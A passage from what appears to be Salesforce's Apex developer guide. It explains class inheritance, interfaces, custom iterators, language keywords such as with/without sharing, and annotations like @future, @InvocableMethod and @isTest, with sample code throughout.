override the existing virtual methods by using the override keyword in the method definition. Overriding a virtual method allows you
to provide a different implementation for an existing method. This means that the behavior of a particular method is different based on
the object you’re calling it on. This is referred to as polymorphism.
A class extends another class using the extends keyword in the class definition. A class can only extend one other class, but it can
implement more than one interface.
This example shows how the YellowMarker class extends the Marker class. To run the inheritance examples in this section, first
create the Marker class.
public virtual class Marker {
public virtual void write() {
System.debug('Writing some text.');
}
public virtual Double discount() {
return .05;
}
}
Then create the YellowMarker class, which extends the Marker class.
// Extension for the Marker class
public class YellowMarker extends Marker {
public override void write() {
System.debug('Writing some text using the yellow marker.');
}
}
This code segment shows polymorphism. The example declares two objects of the same type (Marker). Even though both objects
are markers, the second object is assigned to an instance of the YellowMarker class. Hence, calling the write method on it yields
a different result than calling this method on the first object, because this method has been overridden. However, you can call the
discount method on the second object even though this method isn’t part of the YellowMarker class definition. But it is part
of the extended class, and hence, is available to the extending class, YellowMarker. Run this snippet in the Execute Anonymous
window of the Developer Console.
Marker obj1, obj2;
obj1 = new Marker();
// This outputs 'Writing some text.'
obj1.write();
obj2 = new YellowMarker();
// This outputs 'Writing some text using the yellow marker.'
obj2.write();
// We get the discount method for free
// and can call it from the YellowMarker instance.
Double d = obj2.discount();
The extending class can have more method definitions that aren’t common with the original extended class. For example, the
RedMarker class below extends the Marker class and has one extra method, computePrice, that isn’t available for the
Marker class. To call the extra methods, the object type must be the extending class.
68
Extending a ClassClasses, Objects, and Interfaces
Before running the next snippet, create the RedMarker class, which requires the Marker class in your org.
// Extension for the Marker class
public class RedMarker extends Marker {
public override void write() {
System.debug('Writing some text in red.');
}
// Method only in this class
public Double computePrice() {
return 1.5;
}
}
This snippet shows how to call the additional method on the RedMarker class. Run this snippet in the Execute Anonymous window
of the Developer Console.
RedMarker obj = new RedMarker();
// Call method specific to RedMarker only
Double price = obj.computePrice();
Extensions also apply to interfaces—an interface can extend another interface. As with classes, when an interface extends another
interface, all the methods and properties of the extended interface are available to the extending interface.
Extended Class Example
The following is an extended example of a class, showing all the features of Apex classes. The keywords and concepts introduced in the
example are explained in more detail throughout this chapter.
// Top-level (outer) class must be public or global (usually public unless they contain
// a Web Service, then they must be global)
public class OuterClass {
// Static final variable (constant) – outer class level only
private static final Integer MY_INT;
// Non-final static variable - use this to communicate state across triggers
// within a single request)
public static String sharedState;
// Static method - outer class level only
public static Integer getInt() { return MY_INT; }
// Static initialization (can be included where the variable is defined)
static {
MY_INT = 2;
}
// Member variable for outer class
private final String m;
// Instance initialization block - can be done where the variable is declared,
// or in a constructor
{
m='a';
69
Extended Class ExampleClasses, Objects, and Interfaces
}
// Because no constructor is explicitly defined in this outer class, an implicit,
// no-argument, public constructor exists
// Inner interface
public virtual interface MyInterface {
// No access modifier is necessary for interface methods - these are always
// public or global depending on the interface visibility
void myMethod();
}
// Interface extension
interface MySecondInterface extends MyInterface {
Integer method2(Integer i);
}
// Inner class - because it is virtual it can be extended.
// This class implements an interface that, in turn, extends another interface.
// Consequently the class must implement all methods.
public virtual class InnerClass implements MySecondInterface {
// Inner member variables
private final String s;
private final String s2;
// Inner instance initialization block (this code could be located above)
{
this.s = 'x';
}
// Inline initialization (happens after the block above executes)
private final Integer i = s.length();
// Explicit no argument constructor
InnerClass() {
// This invokes another constructor that is defined later
this('none');
}
// Constructor that assigns a final variable value
public InnerClass(String s2) {
this.s2 = s2;
}
// Instance method that implements a method from MyInterface.
// Because it is declared virtual it can be overridden by a subclass.
public virtual void myMethod() { /* does nothing */ }
// Implementation of the second interface method above.
// This method references member variables (with and without the "this" prefix)
public Integer method2(Integer i) { return this.i + s.length(); }
}
70
Extended Class ExampleClasses, Objects, and Interfaces
// Abstract class (that subclasses the class above). No constructor is needed since
// parent class has a no-argument constructor
public abstract class AbstractChildClass extends InnerClass {
// Override the parent class method with this signature.
// Must use the override keyword
public override void myMethod() { /* do something else */ }
// Same name as parent class method, but different signature.
// This is a different method (displaying polymorphism) so it does not need
// to use the override keyword
protected void method2() {}
// Abstract method - subclasses of this class must implement this method
abstract Integer abstractMethod();
}
// Complete the abstract class by implementing its abstract method
public class ConcreteChildClass extends AbstractChildClass {
// Here we expand the visibility of the parent method - note that visibility
// cannot be restricted by a sub-class
public override Integer abstractMethod() { return 5; }
}
// A second sub-class of the original InnerClass
public class AnotherChildClass extends InnerClass {
AnotherChildClass(String s) {
// Explicitly invoke a different super constructor than one with no arguments
super(s);
}
}
// Exception inner class
public virtual class MyException extends Exception {
// Exception class member variable
public Double d;
// Exception class constructor
MyException(Double d) {
this.d = d;
}
// Exception class method, marked as protected
protected void doIt() {}
}
// Exception classes can be abstract and implement interfaces
public abstract class MySecondException extends Exception implements MyInterface {
}
}
This code example illustrates:
71
Extended Class ExampleClasses, Objects, and Interfaces
•A top-level class definition (also called an outer class)
•Static variables and static methods in the top-level class, as well as static initialization code blocks
•Member variables and methods for the top-level class
•Classes with no user-defined constructor — these have an implicit, no-argument constructor
•An interface definition in the top-level class
•An interface that extends another interface
•Inner class definitions (one level deep) within a top-level class
•A class that implements an interface (and, therefore, its associated sub-interface) by implementing public versions of the method
signatures
•An inner class constructor definition and invocation
•An inner class member variable and a reference to it using the this keyword (with no arguments)
•An inner class constructor that uses the this keyword (with arguments) to invoke a different constructor
•Initialization code outside of constructors — both where variables are defined, as well as with anonymous blocks in curly braces
({}). Note that these execute with every construction in the order they appear in the file, as with Java.
•Class extension and an abstract class
•Methods that override base class methods (which must be declared virtual)
•The override keyword for methods that override subclass methods
•Abstract methods and their implementation by concrete sub-classes
•The protected access modifier
•Exceptions as first class objects with members, methods, and constructors
This example shows how the class above can be called by other Apex code:
// Construct an instance of an inner concrete class, with a user-defined constructor
OuterClass.InnerClass ic = new OuterClass.InnerClass('x');
// Call user-defined methods in the class
System.assertEquals(2, ic.method2(1));
// Define a variable with an interface data type, and assign it a value that is of
// a type that implements that interface
OuterClass.MyInterface mi = ic;
// Use instanceof and casting as usual
OuterClass.InnerClass ic2 = mi instanceof OuterClass.InnerClass ?
(OuterClass.InnerClass)mi : null;
System.assert(ic2 != null);
// Construct the outer type
OuterClass o = new OuterClass();
System.assertEquals(2, OuterClass.getInt());
// Construct instances of abstract class children
System.assertEquals(5, new OuterClass.ConcreteChildClass().abstractMethod());
// Illegal - cannot construct an abstract class
// new OuterClass.AbstractChildClass();
// Illegal – cannot access a static method through an instance
72
Extended Class ExampleClasses, Objects, and Interfaces
// o.getInt();
// Illegal - cannot call protected method externally
// new OuterClass.ConcreteChildClass().method2();
This code example illustrates:
•Construction of the outer class
•Construction of an inner class and the declaration of an inner interface type
•A variable declared as an interface type can be assigned an instance of a class that implements that interface
•Casting an interface variable to be a class type that implements that interface (after verifying this using the instanceof operator)
Understanding Interfaces
An interface is like a class in which none of the methods have been implemented—the method signatures are there, but the body of
each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the
interface.
Interfaces can provide a layer of abstraction to your code. They separate the specific implementation of a method from the declaration
for that method. This way you can have different implementations of a method based on your specific application.
Defining an interface is similar to defining a new class. For example, a company might have two types of purchase orders, ones that
come from customers, and others that come from their employees. Both are a type of purchase order. Suppose you needed a method
to provide a discount. The amount of the discount can depend on the type of purchase order.
You can model the general concept of a purchase order as an interface and have specific implementations for customers and employees.
In the following example the focus is only on the discount aspect of a purchase order.
This is the definition of the PurchaseOrder interface.
// An interface that defines what a purchase order looks like in general
public interface PurchaseOrder {
// All other functionality excluded
Double discount();
}
This class implements the PurchaseOrder interface for customer purchase orders.
// One implementation of the interface for customers
public class CustomerPurchaseOrder implements PurchaseOrder {
public Double discount() {
return .05; // Flat 5% discount
}
}
This class implements the PurchaseOrder interface for employee purchase orders.
// Another implementation of the interface for employees
public class EmployeePurchaseOrder implements PurchaseOrder {
public Double discount() {
return .10; // It’s worth it being an employee! 10% discount
}
}
Note the following about the above example:
73
Understanding InterfacesClasses, Objects, and Interfaces
•The interface PurchaseOrder is defined as a general prototype. Methods defined within an interface have no access modifiers
and contain just their signature.
•The CustomerPurchaseOrder class implements this interface; therefore, it must provide a definition for the discount
method. As with Java, any class that implements an interface must define all of the methods contained in the interface.
When you define a new interface, you are defining a new data type. You can use an interface name in any place you can use another
data type name. If you define a variable whose type is an interface, any object you assign to it must be an instance of a class that
implements the interface, or a sub-interface data type.
See also Classes and Casting on page 95.
Note: You cannot add a method to a global interface after the class has been uploaded in a Managed - Released package version.
IN THIS SECTION:
1. Custom Iterators
Custom Iterators
An iterator traverses through every item in a collection. For example, in a while loop in Apex, you define a condition for exiting the
loop, and you must provide some means of traversing the collection, that is, an iterator. In the following example, count is incremented
by 1 every time the loop is executed (count++) :
while (count < 11) {
System.debug(count);
count++;
}
Using the Iterator interface you can create a custom set of instructions for traversing a List through a loop. This is useful for data
that exists in sources outside of Salesforce that you would normally define the scope of using a SELECT statement. Iterators can also
be used if you have multiple SELECT statements.
Using Custom Iterators
To use custom iterators, you must create an Apex class that implements the Iterator interface.
The Iterator interface has the following instance methods:
DescriptionReturnsArgumentsName
Returns true if there is another item in the collection being
traversed, false otherwise.
BooleanhasNext
Returns the next item in the collection.Any typenext
All methods in the Iterator interface must be declared as global or public.
You can only use a custom iterator in a while loop. For example:
IterableString x = new IterableString('This is a really cool test.');
while(x.hasNext()){
74
Custom IteratorsClasses, Objects, and Interfaces
system.debug(x.next());
}
Iterators are not currently supported in for loops.
Using Custom Iterators with Iterable
If you do not want to use a custom iterator with a list, but instead want to create your own data structure, you can use the Iterable
interface to generate the data structure.
The Iterable interface has the following method:
DescriptionReturnsArgumentsName
Returns a reference to the iterator for this interface.Iterator classiterator
The iterator method must be declared as global or public. It creates a reference to the iterator that you can then use to
traverse the data structure.
In the following example a custom iterator iterates through a collection:
global class CustomIterable
implements Iterator<Account>{
List<Account> accs {get; set;}
Integer i {get; set;}
public CustomIterable(){
accs =
[SELECT Id, Name,
NumberOfEmployees
FROM Account
WHERE Name = 'false'];
i = 0;
}
global boolean hasNext(){
if(i >= accs.size()) {
return false;
}else {
return true;
}
}
global Account next(){
// 8 is an arbitrary
// constant in this example
// that represents the
// maximum size of the list.
if(i == 8){return null;}
i++;
return accs[i-1];
}
}
75
Custom IteratorsClasses, Objects, and Interfaces
The following calls the above code:
global class foo implements iterable<Account>{
global Iterator<Account> Iterator(){
return new CustomIterable();
}
}
The following is a batch job that uses an iterator:
global class batchClass implements Database.batchable<Account>{
global Iterable<Account> start(Database.batchableContext info){
return new foo();
}
global void execute(Database.batchableContext info, List<Account> scope){
List<Account> accsToUpdate = new List<Account>();
for(Account a : scope){
a.Name = 'true';
a.NumberOfEmployees = 69;
accsToUpdate.add(a);
}
update accsToUpdate;
}
global void finish(Database.batchableContext info){
}
}
Keywords
Apex has the following keywords available:
•final
•instanceof
•super
•this
•transient
•with sharing and without sharing
IN THIS SECTION:
1. Using the final Keyword
2. Using the instanceof Keyword
3. Using the super Keyword
4. Using the this Keyword
5. Using the transient Keyword
6. Using the with sharing or without sharing Keywords
Use the with sharing or without sharing keywords on a class to specify whether or not to enforce sharing rules.
76
KeywordsClasses, Objects, and Interfaces
Using the final Keyword
You can use the final keyword to modify variables.
•Final variables can only be assigned a value once, either when you declare a variable or inside a constructor. You must assign a value
to it in one of these two places.
•Static final variables can be changed in static initialization code or where defined.
•Member final variables can be changed in initialization code blocks, constructors, or with other variable declarations.
•To define a constant, mark a variable as both static and final.
•Non-final static variables are used to communicate state at the class level (such as state between triggers). However, they are not
shared across requests.
•Methods and classes are final by default. You cannot use the final keyword in the declaration of a class or method. This means
they cannot be overridden. Use the virtual keyword if you need to override a method or class.
Using the instanceof Keyword
If you need to verify at run time whether an object is actually an instance of a particular class, use the instanceof keyword. The
instanceof keyword can only be used to verify if the target type in the expression on the right of the keyword is a viable alternative
for the declared type of the expression on the left.
You could add the following check to the Report class in the classes and casting example before you cast the item back into a
CustomReport object.
If (Reports.get(0) instanceof CustomReport) {
// Can safely cast it back to a custom report object
CustomReport c = (CustomReport) Reports.get(0);
} Else {
// Do something with the non-custom-report.
}
Note: In Apex saved with API version 32.0 and later, instanceof returns false if the left operand is a null object. For
example, the following sample returns false.
Object o=null;
Boolean result = o instanceof Account;
System.assertEquals(false, result);
In API version 31.0 and earlier, instanceof returns true in this case.
Using the super Keyword
The super keyword can be used by classes that are extended from virtual or abstract classes. By using super, you can override
constructors and methods from the parent class.
For example, if you have the following virtual class:
public virtual class SuperClass {
public String mySalutation;
public String myFirstName;
public String myLastName;
public SuperClass() {
77
Using the final KeywordClasses, Objects, and Interfaces
mySalutation = 'Mr.';
myFirstName = 'Carl';
myLastName = 'Vonderburg';
}
public SuperClass(String salutation, String firstName, String lastName) {
mySalutation = salutation;
myFirstName = firstName;
myLastName = lastName;
}
public virtual void printName() {
System.debug('My name is ' + mySalutation + myLastName);
}
public virtual String getFirstName() {
return myFirstName;
}
}
You can create the following class that extends Superclass and overrides its printName method:
public class Subclass extends Superclass {
public override void printName() {
super.printName();
System.debug('But you can call me ' +super.getFirstName());
}
}
The expected output when calling Subclass.printName is My name is Mr. Vonderburg. But you can call
me Carl.
You can also use super to call constructors. Add the following constructor to SubClass:
public Subclass() {
super('Madam','Brenda','Clapentrap');
}
Now, the expected output of Subclass.printName is My name is Madam Clapentrap. But you can call
me Brenda.
Best Practices for Using the super Keyword
•Only classes that are extending from virtual or abstract classes can use super.
•You can only use super in methods that are designated with the override keyword.
Using the this Keyword
There are two different ways of using the this keyword.
78
Using the this KeywordClasses, Objects, and Interfaces
You can use the this keyword in dot notation, without parenthesis, to represent the current instance of the class in which it appears.
Use this form of the this keyword to access instance variables and methods. For example:
public class myTestThis {
string s;
{
this.s = 'TestString';
}
}
In the above example, the class myTestThis declares an instance variable s. The initialization code populates the variable using the
this keyword.
Or you can use the this keyword to do constructor chaining, that is, in one constructor, call another constructor. In this format, use
the this keyword with parentheses. For example:
public class testThis {
// First constructor for the class. It requires a string parameter.
public testThis(string s2) {
}
// Second constructor for the class. It does not require a parameter.
// This constructor calls the first constructor using the this keyword.
public testThis() {
this('None');
}
}
When you use the this keyword in a constructor to do constructor chaining, it must be the first statement in the constructor.
Using the transient Keyword
Use the transient keyword to declare instance variables that can't be saved, and shouldn't be transmitted as part of the view state
for a Visualforce page. For example:
Transient Integer currentTotal;
You can also use the transient keyword in Apex classes that are serializable, namely in controllers, controller extensions, or classes
that implement the Batchable or Schedulable interface. In addition, you can use transient in classes that define the types
of fields declared in the serializable classes.
Declaring variables as transient reduces view state size. A common use case for the transient keyword is a field on a Visualforce
page that is needed only for the duration of a page request, but should not be part of the page's view state and would use too many
system resources to be recomputed many times during a request.
Some Apex objects are automatically considered transient, that is, their value does not get saved as part of the page's view state. These
objects include the following:
•PageReferences
•XmlStream classes
•Collections automatically marked as transient only if the type of object that they hold is automatically marked as transient, such as
a collection of Savepoints
•Most of the objects generated by system methods, such as Schema.getGlobalDescribe.
79
Using the transient KeywordClasses, Objects, and Interfaces
•JSONParser class instances.
Static variables also don't get transmitted through the view state.
The following example contains both a Visualforce page and a custom controller. Clicking the refresh button on the page causes the
transient date to be updated because it is being recreated each time the page is refreshed. The non-transient date continues to have
its original value, which has been deserialized from the view state, so it remains the same.
<apex:page controller="ExampleController">
T1: {!t1} <br/>
T2: {!t2} <br/>
<apex:form>
<apex:commandLink value="refresh"/>
</apex:form>
</apex:page>
public class ExampleController {
DateTime t1;
transient DateTime t2;
public String getT1() {
if (t1 == null) t1 = System.now();
return '' + t1;
}
public String getT2() {
if (t2 == null) t2 = System.now();
return '' + t2;
}
}
SEE ALSO:
JSONParser Class
Using the with sharing or without sharing Keywords
Use the with sharing or without sharing keywords on a class to specify whether or not to enforce sharing rules.
The with sharing keyword allows you to specify that the sharing rules for the current user be taken into account for a class. You
have to explicitly set this keyword for the class because Apex code runs in system context. In system context, Apex code has access to
all objects and fields— object permissions, field-level security, sharing rules aren’t applied for the current user. This is to ensure that
code won’t fail to run because of hidden fields or objects for a user. The only exceptions to this rule are Apex code that is executed with
the executeAnonymous call and Chatter in Apex. executeAnonymous always executes using the full permissions of the
current user. For more information on executeAnonymous, see Anonymous Blocks on page 209.
Use the with sharing keywords when declaring a class to enforce the sharing rules that apply to the current user. For example:
public with sharing class sharingClass {
// Code here
}
80
Using the with sharing or without sharing KeywordsClasses, Objects, and Interfaces
Use the without sharing keywords when declaring a class to ensure that the sharing rules for the current user are not enforced.
For example, you may want to explicitly turn off sharing rule enforcement when a class acquires sharing rules when it is called from
another class that is declared using with sharing.
public without sharing class noSharing {
// Code here
}
Some things to note about sharing keywords:
•The sharing setting of the class where the method is defined is applied, not of the class where the method is called. For example, if
a method is defined in a class declared with with sharing is called by a class declared with without sharing, the method
will execute with sharing rules enforced.
•If a class isn’t declared as either with or without sharing, the current sharing rules remain in effect. This means that the class doesn’t
enforce sharing rules except if it acquires sharing rules from another class. For example, if the class is called by another class that has
sharing enforced, then sharing is enforced for the called class.
•Both inner classes and outer classes can be declared as with sharing. The sharing setting applies to all code contained in the
class, including initialization code, constructors, and methods.
•Inner classes do not inherit the sharing setting from their container class.
•Classes inherit this setting from a parent class when one class extends or implements another.
Annotations
An Apex annotation modifies the way that a method or class is used, similar to annotations in Java.
Annotations are defined with an initial @ symbol, followed by the appropriate keyword. To add an annotation to a method, specify it
immediately before the method or class definition. For example:
global class MyClass {
@future
Public static void myMethod(String a)
{
//long-running Apex code
}
}
Apex supports the following annotations.
•@AuraEnabled
•@Deprecated
•@Future
•@InvocableMethod
•@InvocableVariable
•@IsTest
•@ReadOnly
•@RemoteAction
•@TestSetup
81
AnnotationsClasses, Objects, and Interfaces
•@TestVisible
•Apex REST annotations:
–@RestResource(urlMapping='/yourUrl')
–@HttpDelete
–@HttpGet
–@HttpPatch
–@HttpPost
–@HttpPut
IN THIS SECTION:
1. AuraEnabled Annotation
2. Deprecated Annotation
3. Future Annotation
4. InvocableMethod Annotation
Use the InvocableMethod annotation to identify methods that can be run as invocable actions.
5. InvocableVariable Annotation
Use the InvocableVariable annotation to identify variables used by invocable methods in custom classes.
6. IsTest Annotation
7. ReadOnly Annotation
8. RemoteAction Annotation
9. TestSetup Annotation
Methods defined with the @testSetup annotation are used for creating common test records that are available for all test
methods in the class.
10. TestVisible Annotation
11. Apex REST Annotations
AuraEnabled Annotation
The @AuraEnabled annotation enables client- and server-side access to an Apex controller method. Providing this annotation makes
your methods available to your Lightning components. Only methods with this annotation are exposed. For more information, see the
Lightning Components Developer's Guide.
Deprecated Annotation
Use the deprecated annotation to identify methods, classes, exceptions, enums, interfaces, or variables that can no longer be
referenced in subsequent releases of the managed package in which they reside. This is useful when you are refactoring code in managed
packages as the requirements evolve. New subscribers cannot see the deprecated elements, while the elements continue to function
for existing subscribers and API integrations.
82
AuraEnabled AnnotationClasses, Objects, and Interfaces
The following code snippet shows a deprecated method. The same syntax can be used to deprecate classes, exceptions, enums, interfaces,
or variables.
@deprecated
// This method is deprecated. Use myOptimizedMethod(String a, String b) instead.
global void myMethod(String a) {
}
Note the following rules when deprecating Apex identifiers:
•Unmanaged packages cannot contain code that uses the deprecated keyword.
•When an Apex item is deprecated, all global access modifiers that reference the deprecated identifier must also be deprecated.
Any global method that uses the deprecated type in its signature, either in an input argument or the method return type, must also
be deprecated. A deprecated item, such as a method or a class, can still be referenced internally by the package developer.
•webService methods and variables cannot be deprecated.
•You can deprecate an enum but you cannot deprecate individual enum values.
•You can deprecate an interface but you cannot deprecate individual methods in an interface.
•You can deprecate an abstract class but you cannot deprecate individual abstract methods in an abstract class.
•You cannot remove the deprecated annotation to undeprecate something in Apex after you have released a package version
where that item in Apex is deprecated.
For more information about package versions, see What is a Package? on page 599.
Future Annotation
Use the future annotation to identify methods that are executed asynchronously. When you specify future, the method executes
when Salesforce has available resources.
For example, you can use the future annotation when making an asynchronous Web service callout to an external service. Without
the annotation, the Web service callout is made from the same thread that is executing the Apex code, and no additional processing
can occur until the callout is complete (synchronous processing).
Methods with the future annotation must be static methods, and can only return a void type. The specified parameters must be
primitive data types, arrays of primitive data types, or collections of primitive data types. Methods with the future annotation cannot
take sObjects or objects as arguments.
To make a method in a class execute asynchronously, define the method with the future annotation. For example:
global class MyFutureClass {
@future
static void myMethod(String a, Integer i) {
System.debug('Method called with: ' +a+' and ' + i);
// Perform long-running code
}
}
To allow callouts in a future method, specify (callout=true). The default is (callout=false), which prevents a method
from making callouts.
The following snippet shows how to specify that a method executes a callout:
@future (callout=true)
public static void doCalloutFromFuture() {
83
Future AnnotationClasses, Objects, and Interfaces
//Add code to perform callout
}
Future Method Considerations
•Remember that any method using the future annotation requires special consideration because the method does not necessarily
execute in the same order it is called.
•Methods with the future annotation cannot be used in Visualforce controllers in either getMethodName or setMethodName
methods, nor in the constructor.
•You cannot call a method annotated with future from a method that also has the future annotation. Nor can you call a trigger
from an annotated method that calls another annotated method.
InvocableMethod Annotation
Use the InvocableMethod annotation to identify methods that can be run as invocable actions.
Invocable methods are called with the REST API and used to invoke a single Apex method. Invocable methods have dynamic input and
output values and support describe calls.
The following code sample shows an invocable method with primitive data types.
public class AccountQueryAction {
@InvocableMethod(label='Get Account Names' description='Returns the list of account names
corresponding to the specified account IDs.')
public static List<String> getAccountNames(List<ID> ids) {
List<String> accountNames = new List<String>();
List<Account> accounts = [SELECT Name FROM Account WHERE Id in :ids];
for (Account account : accounts) {
accountNames.add(account.Name);
}
return accountNames;
}
}
This code sample shows an invocable method with a specific sObject data type.
public class AccountInsertAction {
@InvocableMethod(label='Insert Accounts' description='Inserts the accounts specified and
returns the IDs of the new accounts.')
public static List<ID> insertAccounts(List<Account> accounts) {
Database.SaveResult[] results = Database.insert(accounts);
List<ID> accountIds = new List<ID>();
for (Database.SaveResult result : results) {
if (result.isSuccess()) {
accountIds.add(result.getId());
}
}
return accountIds;
}
}
84
InvocableMethod AnnotationClasses, Objects, and Interfaces
Invocable Method Considerations
Implementation Notes
•The invocable method must be static and public or global, and its class must be an outer class.
•Only one method in a class can have the InvocableMethod annotation.
•Triggers can’t reference invocable methods.
•Other annotations can’t be used with the InvocableMethod annotation.
Inputs and Outputs
There can be at most one input parameter and its data type must be one of the following:
•A list of a primitive data type or a list of lists of a primitive data type – the generic Object type is not supported.
•A list of an sObject type or a list of lists of an sObject type – the generic sObject type is not supported.
•A list of a user-defined type, containing variables of the supported types and with the InvocableVariable annotation.
Create a custom global or public Apex class to implement your data type, and make sure your class contains at least one member
variable with the invocable variable annotation.
If the return type is not Null, the data type returned by the method must be one of the following:
•A list of a primitive data type or a list of lists of a primitive data type – the generic Object type is not supported.
•A list of an sObject type or a list of lists of an sObject type – the generic sObject type is not supported.
•A list of a user-defined type, containing variables of the supported types and with the InvocableVariable annotation.
Create a custom global or public Apex class to implement your data type, and make sure your class contains at least one member
variable with the invocable variable annotation.
Managed Packages
•You can use invocable methods in packages, but once you add an invocable method you can’t remove it from later versions of
the package.
•Public invocable methods can be referred to by flows and processes within the managed package.
•Global invocable methods can be referred to anywhere in the subscriber org. Only global invocable methods appear in the Cloud
Flow Designer and Process Builder in the subscriber org.
For more information about invocable actions, see Force.com Actions Developer’s Guide.
InvocableVariable Annotation
Use the InvocableVariable annotation to identify variables used by invocable methods in custom classes.
The InvocableVariable annotation identifies a class variable used as an input or output parameter for an InvocableMethod
method’s invocable action. If you create your own custom class to use as the input or output to an invocable method, you can annotate
individual class member variables to make them available to the method.
The following code sample shows an invocable method with invocable variables.
global class ConvertLeadAction {
@InvocableMethod(label='Convert Leads')
global static List<ConvertLeadActionResult> convertLeads(List<ConvertLeadActionRequest>
requests) {
List<ConvertLeadActionResult> results = new List<ConvertLeadActionResult>();
for (ConvertLeadActionRequest request : requests) {
results.add(convertLead(request));
}
return results;
85
InvocableVariable AnnotationClasses, Objects, and Interfaces
}
public static ConvertLeadActionResult convertLead(ConvertLeadActionRequest request) {
Database.LeadConvert lc = new Database.LeadConvert();
lc.setLeadId(request.leadId);
lc.setConvertedStatus(request.convertedStatus);
if (request.accountId != null) {
lc.setAccountId(request.accountId);
}
if (request.contactId != null) {
lc.setContactId(request.contactId);
}
if (request.overWriteLeadSource != null && request.overWriteLeadSource) {
lc.setOverwriteLeadSource(request.overWriteLeadSource);
}
if (request.createOpportunity != null && !request.createOpportunity) {
lc.setDoNotCreateOpportunity(!request.createOpportunity);
}
if (request.opportunityName != null) {
lc.setOpportunityName(request.opportunityName);
}
if (request.ownerId != null) {
lc.setOwnerId(request.ownerId);
}
if (request.sendEmailToOwner != null && request.sendEmailToOwner) {
lc.setSendNotificationEmail(request.sendEmailToOwner);
}
Database.LeadConvertResult lcr = Database.convertLead(lc, true);
if (lcr.isSuccess()) {
ConvertLeadActionResult result = new ConvertLeadActionResult();
result.accountId = lcr.getAccountId();
result.contactId = lcr.getContactId();
result.opportunityId = lcr.getOpportunityId();
return result;
}else {
throw new ConvertLeadActionException(lcr.getErrors()[0].getMessage());
}
}
global class ConvertLeadActionRequest {
@InvocableVariable(required=true)
global ID leadId;
@InvocableVariable(required=true)
global String convertedStatus;
86
InvocableVariable AnnotationClasses, Objects, and Interfaces
@InvocableVariable
global ID accountId;
@InvocableVariable
global ID contactId;
@InvocableVariable
global Boolean overWriteLeadSource;
@InvocableVariable
global Boolean createOpportunity;
@InvocableVariable
global String opportunityName;
@InvocableVariable
global ID ownerId;
@InvocableVariable
global Boolean sendEmailToOwner;
}
global class ConvertLeadActionResult {
@InvocableVariable
global ID accountId;
@InvocableVariable
global ID contactId;
@InvocableVariable
global ID opportunityId;
}
class ConvertLeadActionException extends Exception {}
}
InvocableVariable Modifiers
The invocable variable annotation has three available modifiers, as shown in this example.
@InvocableVariable(label='yourLabel'description='yourDescription' required=(true |
false))
All modifiers are optional.
label
The label for the variable. The default is the variable name.
description
The description for the variable. The default is Null.
required
Whether the variable is required. If not specified, the default is false. The value is ignored for output variables.
87
InvocableVariable AnnotationClasses, Objects, and Interfaces
InvocableVariable Considerations
•Other annotations can’t be used with the InvocableVariable annotation.
•Only global and public variables can be invocable variables.
•The invocable variable can’t be one of the following:
–A type such as an interface, class, or enum.
–A non-member variable such as a static or local variable.
–A property.
–A final variable.
–Protected or private.
•The data type of the invocable variable must be one of the following:
–A primitive data type or a list of a primitive data type – the generic Object type is not supported.
–An sObject type or a list of an sObject type – the generic sObject type is not supported.
•For managed packages:
–Public invocable variables can be set in flows and processes within the same managed package.
–Global invocable variables can be set anywhere in the subscriber org. Only global invocable variables appear in the Cloud Flow
Designer and Process Builder in the subscriber org.
For more information about invocable actions, see Force.com Actions Developer’s Guide.
IsTest Annotation
Use the isTest annotation to define classes and methods that only contain code used for testing your application. The isTest
annotation on methods is equivalent to the testMethod keyword.
Note: Classes defined with the isTest annotation don't count against your organization limit of 3 MB for all Apex code.
Classes and methods defined as isTest can be either private or public. Classes defined as isTest must be top-level classes.
This is an example of a private test class that contains two test methods.
@isTest
private class MyTestClass {
// Methods for testing
@isTest static void test1() {
// Implement test code
}
@isTest static void test2() {
// Implement test code
}
}
This is an example of a public test class that contains utility methods for test data creation:
@isTest
public class TestUtil {
88
IsTest AnnotationClasses, Objects, and Interfaces
public static void createTestAccounts() {
// Create some test accounts
}
public static void createTestContacts() {
// Create some test contacts
}
}
Classes defined as isTest can't be interfaces or enums.
Methods of a public test class can only be called from a running test, that is, a test method or code invoked by a test method, and can't
be called by a non-test request.. To learn about the various ways you can run test methods, see Run Unit Test Methods.
IsTest(SeeAllData=true) Annotation
For Apex code saved using Salesforce API version 24.0 and later, use the isTest(SeeAllData=true) annotation to grant test
classes and individual test methods access to all data in the organization, including pre-existing data that the test didn’t create. Starting
with Apex code saved using Salesforce API version 24.0, test methods don’t have access by default to pre-existing data in the organization.
However, test code saved against Salesforce API version 23.0 and earlier continues to have access to all data in the organization and its
data access is unchanged. See Isolation of Test Data from Organization Data in Unit Tests on page 563.
Considerations for the IsTest(SeeAllData=true) Annotation
•If a test class is defined with the isTest(SeeAllData=true) annotation, this annotation applies to all its test methods
whether the test methods are defined with the @isTest annotation or the testmethod keyword.
•The isTest(SeeAllData=true) annotation is used to open up data access when applied at the class or method level.
However, using isTest(SeeAllData=false) on a method doesn’t restrict organization data access for that method
if the containing class has already been defined with the isTest(SeeAllData=true) annotation. In this case, the
method will still have access to all the data in the organization.
This example shows how to define a test class with the isTest(SeeAllData=true) annotation. All the test methods in this
class have access to all data in the organization.
// All test methods in this class can access all data.
@isTest(SeeAllData=true)
public class TestDataAccessClass {
// This test accesses an existing account.
// It also creates and accesses a new test account.
static testmethod void myTestMethod1() {
// Query an existing account in the organization.
Account a = [SELECT Id, Name FROM Account WHERE Name='Acme' LIMIT 1];
System.assert(a != null);
// Create a test account based on the queried account.
Account testAccount = a.clone();
testAccount.Name = 'Acme Test';
insert testAccount;
// Query the test account that was inserted.
Account testAccount2 = [SELECT Id, Name FROM Account
WHERE Name='Acme Test' LIMIT 1];
89
IsTest AnnotationClasses, Objects, and Interfaces
System.assert(testAccount2 != null);
}
// Like the previous method, this test method can also access all data
// because the containing class is annotated with @isTest(SeeAllData=true).
@isTest static void myTestMethod2() {
// Can access all data in the organization.
}
}
This second example shows how to apply the isTest(SeeAllData=true) annotation on a test method. Because the class that
the test method is contained in isn’t defined with this annotation, you have to apply this annotation on the test method to enable access
to all data for that test method. The second test method doesn’t have this annotation, so it can access only the data it creates in addition
to objects that are used to manage your organization, such as users.
// This class contains test methods with different data access levels.
@isTest
private class ClassWithDifferentDataAccess {
// Test method that has access to all data.
@isTest(SeeAllData=true)
static void testWithAllDataAccess() {
// Can query all data in the organization.
}
// Test method that has access to only the data it creates
// and organization setup and metadata objects.
@isTest static void testWithOwnDataAccess() {
// This method can still access the User object.
// This query returns the first user object.
User u = [SELECT UserName,Email FROM User LIMIT 1];
System.debug('UserName: ' + u.UserName);
